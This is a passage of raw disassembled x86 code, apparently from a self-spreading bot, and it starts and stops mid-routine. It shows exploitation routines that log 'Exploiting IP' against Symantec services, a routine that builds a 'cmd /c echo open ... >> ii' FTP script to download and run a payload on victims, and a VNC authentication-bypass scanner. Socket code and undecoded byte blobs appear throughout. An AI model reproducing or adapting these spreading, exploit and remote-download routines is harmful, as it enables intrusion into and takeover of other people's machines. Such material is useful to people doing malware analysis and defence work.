dword_432C98 push ebx call dword_4CBA34 cmp eax, 0FFFFFFFFh jz short loc_40E929 mov esi, 640h push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9FC push edi push 0A8h push offset dword_432D24 push ebx call dword_4CBA34 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9FC push edi push 0DEh push offset dword_432DD0 push ebx call dword_4CBA34 cmp eax, 0FFFFFFFFh jz short loc_40E929 push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_4CB9FC movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_40E933 dec eax jz short loc_40E930 loc_40E929: ; CODE XREF: ___:0040E884j ; ___:0040E89Aj ... xor eax, eax jmp loc_40E9F6 ; --------------------------------------------------------------------------- loc_40E930: ; CODE XREF: ___:0040E927j push edi jmp short loc_40E957 ; --------------------------------------------------------------------------- loc_40E933: ; CODE XREF: ___:0040E924j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jnz short loc_40E977 push 1 loc_40E957: ; CODE XREF: ___:0040E931j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E3F1 add esp, 0C4h test al, al jz short loc_40E97E loc_40E977: ; CODE XREF: ___:0040E953j mov dword ptr [ebp-4], 1 loc_40E97E: ; CODE XREF: ___:0040E975j push ebx call dword_4CBA7C cmp dword ptr [ebp-4], 0 jz short loc_40E9F3 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call sub_41C360 push 0 lea eax, [ebp-214h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-214h] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 2Ch shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40E9F3: ; CODE XREF: ___:0040E989j push 1 pop eax loc_40E9F6: ; CODE XREF: ___:0040E92Bj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9FB proc near ; CODE XREF: sub_40EAE9+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax call near ptr 71AB1746h nop push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EAC9 lea eax, [ebp+var_10] push 10h push eax push ebx call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jz short loc_40EAC9 mov edi, 400h push esi mov esi, dword_4271FC lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42910C push eax push eax push dword_4CB720 push [ebp+arg_0] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40EACD loc_40EAC9: ; CODE XREF: sub_40E9FB+50j ; sub_40E9FB+62j xor eax, eax jmp short loc_40EAE4 ; --------------------------------------------------------------------------- loc_40EACD: ; CODE XREF: sub_40E9FB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40EAE4: ; CODE XREF: sub_40E9FB+D0j pop edi pop esi pop ebx leave retn sub_40E9FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAE9 proc near ; CODE XREF: sub_40C3E8+1EAp ; DATA XREF: ___:off_43180Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CBA24 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB9E4 push 6 push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB5B lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40EB3C push esi jmp short loc_40EB55 ; --------------------------------------------------------------------------- loc_40EB3C: ; CODE XREF: sub_40EAE9+4Ej push 0 push 1213h push offset dword_433434 push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB5F loc_40EB55: ; CODE XREF: sub_40EAE9+51j call near ptr 71AB1A6Dh nop loc_40EB5B: ; CODE XREF: sub_40EAE9+3Cj xor eax, eax jmp short loc_40EBA1 ; --------------------------------------------------------------------------- loc_40EB5F: ; CODE XREF: sub_40EAE9+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9FB add esp, 0C0h test eax, eax jz short loc_40EB9E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40EB9E: ; CODE XREF: sub_40EAE9+9Ej push 1 pop eax loc_40EBA1: ; CODE XREF: sub_40EAE9+74j pop edi pop esi leave retn sub_40EAE9 endp ; =============== S U B R O U T I N E ======================================= sub_40EBA5 proc near ; CODE XREF: ___:0040EC93p ; ___:0040ECF5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EBAD: ; CODE XREF: sub_40EBA5+2Dj test edi, edi jle short loc_40EBD8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB9FC test eax, eax jz short loc_40EBD4 cmp eax, 0FFFFFFFFh jz short loc_40EBD4 sub edi, eax add esi, eax jmp short loc_40EBAD ; --------------------------------------------------------------------------- loc_40EBD4: ; CODE XREF: sub_40EBA5+22j ; sub_40EBA5+27j xor eax, eax jmp short loc_40EBDB ; --------------------------------------------------------------------------- loc_40EBD8: ; CODE XREF: sub_40EBA5+Aj push 1 pop eax loc_40EBDB: ; CODE XREF: sub_40EBA5+31j pop edi pop esi retn sub_40EBA5 endp ; =============== S U B R O U T I N E ======================================= sub_40EBDE proc near ; CODE XREF: ___:0040ECDFp ; ___:0040ED0Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EC1B xor esi, esi test edi, edi jle short loc_40EC15 loc_40EBEE: ; CODE XREF: sub_40EBDE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CBA34 cmp eax, 0FFFFFFFFh jz short loc_40EC1B test eax, eax jz short loc_40EC1B add esi, eax cmp esi, edi jl short loc_40EBEE loc_40EC15: ; CODE XREF: sub_40EBDE+Ej push 1 pop eax loc_40EC18: ; CODE XREF: sub_40EBDE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EC1B: ; CODE XREF: sub_40EBDE+8j ; sub_40EBDE+2Bj ... xor eax, eax jmp short loc_40EC18 sub_40EBDE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_4346EC push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CBA64 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC4D push eax jmp short loc_40EC81 ; --------------------------------------------------------------------------- loc_40EC4D: ; CODE XREF: ___:0040EC48j lea eax, [ebp+0Ch] push eax call dword_4CBA24 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB9E4 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB98C cmp eax, 0FFFFFFFFh jnz short loc_40EC8C push ebx loc_40EC81: ; CODE XREF: ___:0040EC4Bj call dword_4CBA7C jmp loc_40EE87 ; --------------------------------------------------------------------------- loc_40EC8C: ; CODE XREF: ___:0040EC7Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41CCE3 add esp, 10h cmp eax, esi jnz loc_40EE80 cmp dword ptr [ebp-28h], 3 jz short loc_40ECD8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE80 loc_40ECD8: ; CODE XREF: ___:0040ECCCj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE80 push 1 push offset word_4CB89C push ebx call sub_40EBDE add esp, 0Ch test eax, eax jz loc_40EE80 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EBA5 add esp, 0Ch test eax, eax jz loc_40EE80 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D9A5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EE10 push edi push esi push ebx call sub_40EBA5 add esp, 0Ch loc_40EE10: ; CODE XREF: ___:0040EE03j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 lea eax, [ebp-24Ch] push eax call sub_415D38 mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431810[eax] push ebx lea eax, dword_431810[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40EE89 ; --------------------------------------------------------------------------- loc_40EE80: ; CODE XREF: ___:0040EC9Dj ; ___:0040ECC2j ... push ebx nop call near ptr 71AB1A6Dh loc_40EE87: ; CODE XREF: ___:0040EC87j xor eax, eax loc_40EE89: ; CODE XREF: ___:0040EE7Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EE97: ; CODE XREF: ___:0040EEB3j ; ___:0040EECFj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CE718 call dword_4CB9FC test eax, eax jle short loc_40EE97 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CE714 nop call near ptr 27007FFh jmp short loc_40EE97 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EEDA: ; CODE XREF: ___:0040EF00j ; ___:0040EF1Aj lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CE708 call near ptr 2700000h nop cmp dword ptr [ebp-4], 0 jle short loc_40EEDA push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CE718 call dword_4CBA34 jmp short loc_40EEDA ; --------------------------------------------------------------------------- dword_40EF1C dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401ACD+2CCAo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4CB9E4h, 6A56066Ah, 45896602h, 6415FFCAh dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh, 4CBA1015h dd 0FF056A00h, 15FF0875h, 4CBA0Ch, 71081D8Bh, 358B0042h dd 427070h, 75FF5757h, 7815FF08h, 0A3004CBAh, 4CE718h dd 57F4458Dh, 0E7146850h, 1068004Ch, 0C7004CE7h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE70Ch dd 4CE70868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh dd 4CE710h, 890CC483h, 0CA1BC45h, 89004CE7h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 1FAFE8B4h, 50900230h, 0E70C35FFh, 0A2E8004Ch dd 9002301Fh, 1A35E850h, 8D900230h, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346F068h dd 0E8905700h, 2251B4Dh, 50E8458Dh, 0D1685757h, 8D0040EEh dd 5057F445h, 0F92E890h, 45890227h, 0E8458DECh, 68575750h dd 40EE8Eh, 57F4458Dh, 79E89050h, 6A02270Fh, 0F04589FFh dd 90D875FFh, 271DE1E8h, 75FF5702h, 3CE890F0h, 57022816h dd 90EC75FFh, 281632E8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh dd 90D875FFh, 301853E8h, 1035FF02h, 0FF004CE7h, 1435FFD6h dd 0FF004CE7h, 835FFD6h, 0FF004CE7h, 0C35FFD6h, 0FF004CE7h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9AD1h, 0E720A359h dd 0C359004Ch dword_40F108 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BD91+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4CB9E4h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4CBA6415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 0E52E853h dd 8B90022Dh, 0FFFF5485h, 69106AFFh, 234C0h, 2CB88900h dd 8D0043E9h, 5750EC45h, 0BA1015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4CB97815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh dd 5959FFFFh, 0DD2E856h, 6890022Dh, 0FFFEh, 9997E853h dd 0A3590000h, 4CE720h, 45896659h, 0EC458DEEh, 5750106Ah dd 0BA1015FFh, 0C63B004Ch, 15FF5475h, 4CB978h, 7539F633h dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h dd 0FFC435E8h, 565959FFh, 2D0D57E8h, 56A9002h, 0C15FF57h dd 3B004CBAh, 0D4840FC6h, 0C7000000h, 10FC45h, 0CBE0000h dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA7815h dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h dd 4CB9FCh, 74FFF883h, 0FF565696h, 4CB72035h, 50B5FF00h dd 0E8FFFFFFh, 0FFFFB6C2h, 0F8685059h, 8D004346h, 0FFF94085h dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh dd 0C657E8h, 8D505900h, 0FFF94085h, 75FF50FFh, 3415FF08h dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E72805FFh, 38E9004Ch dd 57FFFFFFh, 0BA7C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h dd 6A59FFh, 0C56E890h db 2Dh, 2 word_40F3AA dw 8B55h ; DATA XREF: sub_40BD91+22Ao dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 6A4DE1E8h, 53569071h, 0E890026Ah dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h dd 20A16671h, 83004CB7h, 5000C865h, 0C445C766h, 15FF0002h dd 4CB9E4h, 0C6458966h, 6AC4458Dh, 0E8575010h, 716A4A6Ah dd 7DC08590h, 0E9C38B07h, 548h, 90570A6Ah, 6A6969E8h, 0D49D8971h dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A23DBE8h, 0F8839071h dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h, 0FF50858Dh dd 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh, 5750FFFFh dd 16E57E8h, 0FC08500h, 4A284h, 0F87D3B00h, 458D7A75h dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh, 6A916CE8h dd 0FFF88371h, 479840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h dd 68156A56h, 4349BCh, 0E9D3FF50h, 423h, 60858D56h, 6AFFFFFDh dd 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h, 33FFFFFDh dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h, 3B04C083h dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh dd 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h, 0FFFCC885h dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh, 4349B4h dd 0D6DDE850h, 858D0000h, 0FFFFFF50h, 4349AC68h, 39E85000h dd 830000D4h, 0C08518C4h, 6A560D75h, 49946816h, 82E90043h dd 8D000000h, 0FFFF5085h, 498C68FFh, 0E8500043h, 0D414h dd 59C08559h, 6A560A75h, 49746814h, 61EB0043h, 0FF50858Dh dd 6C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h, 560A7559h dd 5C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh, 434954h dd 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h, 434940h dd 858D1FEBh, 0FFFFFF50h, 43493C68h, 0B1E85000h, 590000D3h dd 7559C085h, 1E6A560Eh, 43491C68h, 0D9E95700h, 0BF000002h dd 434914h, 0FF50858Dh, 5057FFFFh, 0D38BE8h, 0C0855900h dd 8D247559h, 0FFFCC885h, 491068FFh, 0E8500043h, 0D374h dd 59C08559h, 6A560D75h, 48FC6813h, 9AE90043h, 8D000002h dd 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h, 858D2475h dd 0FFFFFCC8h, 4348F868h, 3DE85000h, 590000D3h, 7559C085h dd 136A560Dh, 4348E468h, 263E900h, 858D0000h, 0FFFFFF50h dd 4348DC68h, 19E85000h, 590000D3h, 7559C085h, 0BE0A6A34h dd 4348B0h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h, 0FFFFFED8h dd 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h, 875FF50h dd 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh, 4348A8h, 0D2CEE850h dd 85590000h, 2A7559C0h, 90BE056Ah, 59004348h, 0FF38BD8Dh dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C218h dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43488868h dd 8DE85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h, 8D50E445h dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 486068FFh, 0E8500043h dd 0D4E7h, 0FF04858Dh, 0E850FFFFh, 0C951h, 858DF88Bh, 0FFFFFD2Ch dd 0C943E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh dd 0C748h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 48586857h dd 0E8500043h, 0CA26h, 858D106Ah, 0FFFFFF04h, 56E85056h dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E4458D50h, 0DC458D50h dd 0D4458D50h, 0B4458D50h, 43484C68h, 0F3E85000h, 830000C9h dd 6A5618C4h, 482C681Dh, 6E90043h, 8D000001h, 0FFFF5085h dd 482468FFh, 0E8500043h, 0D1BCh, 59C08559h, 0CC850Fh dd 6A560000h, 47F86828h, 75FF0043h, 0FFD3FF08h, 458DF475h dd 8E850B4h, 59000001h, 5901F883h, 9E850Fh, 0B5390000h dd 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh dd 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 9F7FE8FFh, 0C483FFFFh dd 14AE814h, 0F8830000h, 93850F01h, 56000000h, 0E068176Ah dd 0FF004347h, 0D3FF0875h, 50B4458Dh, 0F720858Dh, 0A868FFFFh dd 50004347h, 0C949E8h, 0CC48300h, 0FBBCB539h, 2375FFFFh dd 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h dd 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h, 8D14C483h, 0FFF72085h dd 0E1E850FFh, 0FF000063h, 4CE4F005h, 2EEB5900h, 68206A56h dd 434784h, 858D1FEBh, 0FFFFFF50h, 42CD3068h, 0D5E85000h dd 590000D0h, 7559C085h, 1B6A560Dh, 43476868h, 875FF00h dd 646AD3FFh, 0FD60858Dh, 5056FFFFh, 0C5D3E8h, 87D8B00h dd 470CC483h, 89FC7D3Bh, 8E0F087Dh, 0FFFFFB19h, 0FFFAD9E9h dd 58016AFFh, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CE72C, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CE72C nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40FA37 push dword_4CE72C call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA37: ; CODE XREF: ___:0040FA1Fj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 call near ptr 2670000h nop lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41BEA2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAD3 test byte ptr [esi+0Ch], 10h jnz short loc_40FAB7 push edi mov edi, 400h loc_40FA7F: ; CODE XREF: ___:0040FAB4j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41BAFA add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CE72C nop call near ptr 71AB1AF4h push 1 nop call near ptr 2670EEFh test byte ptr [esi+0Ch], 10h jz short loc_40FA7F pop edi loc_40FAB7: ; CODE XREF: ___:0040FA77j push esi call sub_41BA3B pop ecx push dword_4CE72C nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop push 1 pop eax loc_40FAD3: ; CODE XREF: ___:0040FA71j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAD6 proc near ; DATA XREF: sub_401ACD+2229o ; sub_40BD91+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BF70 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB9E4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CBA64 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FEC1 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E92C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CBA10 cmp eax, 0FFFFFFFFh jz loc_40FEC1 push 7FFFFFFFh push edi call dword_4CBA0C cmp eax, 0FFFFFFFFh jz loc_40FEC1 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CBA80 cmp eax, 0FFFFFFFFh jz loc_40FEC1 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FBAD: ; CODE XREF: sub_40FAD6+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB9CC cmp eax, 0FFFFFFFFh jz loc_40FEBC xor esi, esi mov [ebp+var_4], esi loc_40FBE3: ; 